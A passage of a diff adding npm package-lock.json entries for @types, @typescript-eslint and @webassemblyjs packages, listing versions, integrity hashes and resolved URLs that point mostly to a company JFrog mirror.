^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/@jest/types": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-29.5.0.tgz", + "integrity": "sha512-qbu7kN6czmVRc3xWFQcAN03RAUamgppVUdXrvl1Wr3jlNF93o9mJbGcDWrwGB6ht44u7efB1qCFgVQmca24Uog==", + "dependencies": { + "@jest/schemas": "^29.4.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/@sinclair/typebox": { + "version": "0.25.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinclair/typebox/-/typebox-0.25.24.tgz", + "integrity": "sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==" + }, + "node_modules/@types/jest/node_modules/@types/yargs": { + "version": "17.0.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/jest/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@types/jest/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@types/jest/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@types/jest/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@types/jest/node_modules/diff-sequences": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/diff-sequences/-/diff-sequences-29.4.3.tgz", + "integrity": "sha512-ofrBgwpPhCD85kMKtE9RYFFq6OC1A89oW2vvgWZNCwxrUpRUILopY7lsYyMDSjc8g6U6aiO0Qubg6r4Wgt5ZnA==", + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/expect": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/expect/-/expect-29.5.0.tgz", + "integrity": "sha512-yM7xqUrCO2JdpFo4XpM82t+PJBFybdqoQuJLDGeDX2ij8NZzqRHyu3Hp188/JX7SWqud+7t4MUdvcgGBICMHZg==", + "dependencies": { + "@jest/expect-utils": "^29.5.0", + "jest-get-type": "^29.4.3", + "jest-matcher-utils": "^29.5.0", + "jest-message-util": "^29.5.0", + "jest-util": "^29.5.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@types/jest/node_modules/jest-diff": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-diff/-/jest-diff-29.5.0.tgz", + "integrity": "sha512-LtxijLLZBduXnHSniy0WMdaHjmQnt3g5sa16W4p0HqukYTTsyTW3GD1q41TyGl5YFXj/5B2U6dlh5FM1LIMgxw==", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^29.4.3", + "jest-get-type": "^29.4.3", + "pretty-format": "^29.5.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/jest-get-type": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-29.4.3.tgz", + "integrity": "sha512-J5Xez4nRRMjk8emnTpWrlkyb9pfRQQanDrvWHhsR1+VUfbwxi30eVcZFlcdGInRibU4G5LwHXpI7IRHU0CY+gg==", + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/jest-matcher-utils": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-matcher-utils/-/jest-matcher-utils-29.5.0.tgz", + "integrity": "sha512-lecRtgm/rjIK0CQ7LPQwzCs2VwW6WAahA55YBuI+xqmhm7LAaxokSB8C97yJeYyT+HvQkH741StzpU41wohhWw==", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^29.5.0", + "jest-get-type": "^29.4.3", + "pretty-format": "^29.5.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/jest-message-util": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-29.5.0.tgz", + "integrity": "sha512-Kijeg9Dag6CKtIDA7O21zNTACqD5MD/8HfIV8pdD94vFyFuer52SigdC3IQMhab3vACxXMiFk+yMHNdbqtyTGA==", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.5.0", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.5.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/jest-util": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-29.5.0.tgz", + "integrity": "sha512-RYMgG/MTadOr5t8KdhejfvUU82MxsCu5MF6KuDUHl+NuwzUt+Sm6jJWxTJVrDR1j5M/gJVCPKQEpWXY+yIQ6lQ==", + "dependencies": { + "@jest/types": "^29.5.0", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/pretty-format": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-29.5.0.tgz", + "integrity": "sha512-V2mGkI31qdttvTFX7Mt4efOqHXqJWMu4/r66Xh3Z3BwZaPfPJgp6/gbwoujRpPUtfEF6AUUWx3Jim3GCw5g/Qw==", + "dependencies": { + "@jest/schemas": "^29.4.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@types/jest/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@types/jest/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" + }, + "node_modules/@types/jest/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.12", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==" + }, + "node_modules/@types/json5": { + "version": "0.0.29", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==" + }, + "node_modules/@types/mime": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==" + }, + "node_modules/@types/node": { + "version": "20.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/node/-/node-20.3.1.tgz", + "integrity": "sha512-EhcH/wvidPy1WeML3TtYFGR83UzjxeWRen9V402T8aUGYsCHOmfoisV3ZSg03gAFIbLq8TnWOJ0f4cALtnSEUg==" + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/prettier": { + "version": "2.7.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/prettier/-/prettier-2.7.3.tgz", + "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" + }, + "node_modules/@types/q": { + "version": "1.5.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/q/-/q-1.5.5.tgz", + "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ==" + }, + "node_modules/@types/qs": { + "version": "6.9.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==" + }, + "node_modules/@types/range-parser": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==" + }, + "node_modules/@types/react": { + "version": "18.2.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/react/-/react-18.2.13.tgz", + "integrity": "sha512-vJ+zElvi/Zn9cVXB5slX2xL8PZodPCwPRDpittQdw43JR2AJ5k3vKdgJJyneV/cYgIbLQUwXa9JVDvUZXGba+Q==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.2.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/react-dom/-/react-dom-18.2.6.tgz", + "integrity": "sha512-2et4PDvg6PVCyS7fuTc4gPoksV58bW0RwSxWKcPRcHZf0PRUGq03TKcD/rUHe3azfV6/5/biUBJw+HhCQjaP0A==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/resolve": { + "version": "1.17.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==" + }, + "node_modules/@types/scheduler": { + "version": "0.16.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/scheduler/-/scheduler-0.16.3.tgz", + "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" + }, + "node_modules/@types/semver": { + "version": "7.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/semver/-/semver-7.5.0.tgz", + "integrity": "sha512-G8hZ6XJiHnuhQKR7ZmysCeJWE08o8T0AXtk5darsCaTVsYZhhgUrq53jizaR2FvsoeCwJhlmwTjkXBY5Pn/ZHw==" + }, + "node_modules/@types/send": { + "version": "0.17.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/send/-/send-0.17.1.tgz", + "integrity": "sha512-Cwo8LE/0rnvX7kIIa3QHCkcuF21c05Ayb0ZfxPiv0W8VRiZiNW/WuRupHKpqqGVGf7SUA44QSOUKaEd9lIrd/Q==", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/serve-static/-/serve-static-1.15.1.tgz", + "integrity": "sha512-NUo5XNiAdULrJENtJXZZ3fHtfMolzZwczzBbnAeBbqBwG+LaG6YaJtuwzwGSQZ2wsCrxjEhNNjAkKigy3n8teQ==", + "dependencies": { + "@types/mime": "*", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.33", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==" + }, + "node_modules/@types/testing-library__jest-dom": { + "version": "5.14.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.6.tgz", + "integrity": "sha512-FkHXCb+ikSoUP4Y4rOslzTdX5sqYwMxfefKh1GmZ8ce1GOkEHntSp6b5cGadmNfp5e4BMEWOMx+WSKd5/MqlDA==", + "dependencies": { + "@types/jest": "*" + } + }, + "node_modules/@types/trusted-types": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/trusted-types/-/trusted-types-2.0.3.tgz", + "integrity": "sha512-NfQ4gyz38SL8sDNrSixxU2Os1a5xcdFxipAFxYEuLUlvU2uDwS4NUpsImcf1//SlWItCVMMLiylsxbmNMToV/g==" + }, + "node_modules/@types/ws": { + "version": "8.5.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "16.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-16.0.5.tgz", + "integrity": "sha512-AxO/ADJOBFJScHbWhq2xAhlWP24rY4aCEG/NFaMvbT3X2MgRsLjhjQwsn0Zi5zn0LG9jUhCCZMeX9Dkuw6k+vQ==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==" + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.60.0.tgz", + "integrity": "sha512-78B+anHLF1TI8Jn/cD0Q00TBYdMgjdOn980JfAVa9yw5sop8nyTfVOQAv6LWywkOGLclDBtv5z3oxN4w7jxyNg==", + "dependencies": { + "@eslint-community/regexpp": "^4.4.0", + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/type-utils": "5.60.0", + "@typescript-eslint/utils": "5.60.0", + "debug": "^4.3.4", + "grapheme-splitter": "^1.0.4", + "ignore": "^5.2.0", + "natural-compare-lite": "^1.4.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/experimental-utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/experimental-utils/-/experimental-utils-5.60.0.tgz", + "integrity": "sha512-ovid3u7CNBrr0Ct35LUPkNYH4e+z4Kc6dPfSG99oMmH9SfoEoefq09uSnJI4mUb/UM7a/peVM03G+MzLxrD16g==", + "dependencies": { + "@typescript-eslint/utils": "5.60.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/parser/-/parser-5.60.0.tgz", + "integrity": "sha512-jBONcBsDJ9UoTWrARkRRCgDz6wUggmH5RpQVlt7BimSwaTkTjwypGzKORXbR4/2Hqjk9hgwlon2rVQAjWNpkyQ==", + "dependencies": { + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/typescript-estree": "5.60.0", + "debug": "^4.3.4" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/scope-manager/-/scope-manager-5.60.0.tgz", + "integrity": "sha512-hakuzcxPwXi2ihf9WQu1BbRj1e/Pd8ZZwVTG9kfbxAMZstKz8/9OoexIwnmLzShtsdap5U/CoQGRCWlSuPbYxQ==", + "dependencies": { + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/visitor-keys": "5.60.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/type-utils/-/type-utils-5.60.0.tgz", + "integrity": "sha512-X7NsRQddORMYRFH7FWo6sA9Y/zbJ8s1x1RIAtnlj6YprbToTiQnM6vxcMu7iYhdunmoC0rUWlca13D5DVHkK2g==", + "dependencies": { + "@typescript-eslint/typescript-estree": "5.60.0", + "@typescript-eslint/utils": "5.60.0", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/types": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/types/-/types-5.60.0.tgz", + "integrity": "sha512-ascOuoCpNZBccFVNJRSC6rPq4EmJ2NkuoKnd6LDNyAQmdDnziAtxbCGWCbefG1CNzmDvd05zO36AmB7H8RzKPA==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/typescript-estree/-/typescript-estree-5.60.0.tgz", + "integrity": "sha512-R43thAuwarC99SnvrBmh26tc7F6sPa2B3evkXp/8q954kYL6Ro56AwASYWtEEi+4j09GbiNAHqYwNNZuNlARGQ==", + "dependencies": { + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/visitor-keys": "5.60.0", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/utils/-/utils-5.60.0.tgz", + "integrity": "sha512-ba51uMqDtfLQ5+xHtwlO84vkdjrqNzOnqrnwbMHMRY8Tqeme8C2Q8Fc7LajfGR+e3/4LoYiWXUM6BpIIbHJ4hQ==", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@types/json-schema": "^7.0.9", + "@types/semver": "^7.3.12", + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/typescript-estree": "5.60.0", + "eslint-scope": "^5.1.1", + "semver": "^7.3.7" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/visitor-keys/-/visitor-keys-5.60.0.tgz", + "integrity": "sha512-wm9Uz71SbCyhUKgcaPRauBdTegUyY/ZWl8gLwD/i/ybJqscrrdVSFImpvUz16BLPChIeKBK5Fa9s6KDQjsjyWw==", + "dependencies": { + "@typescript-eslint/types": "5.60.0", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz", + "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz", + "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + 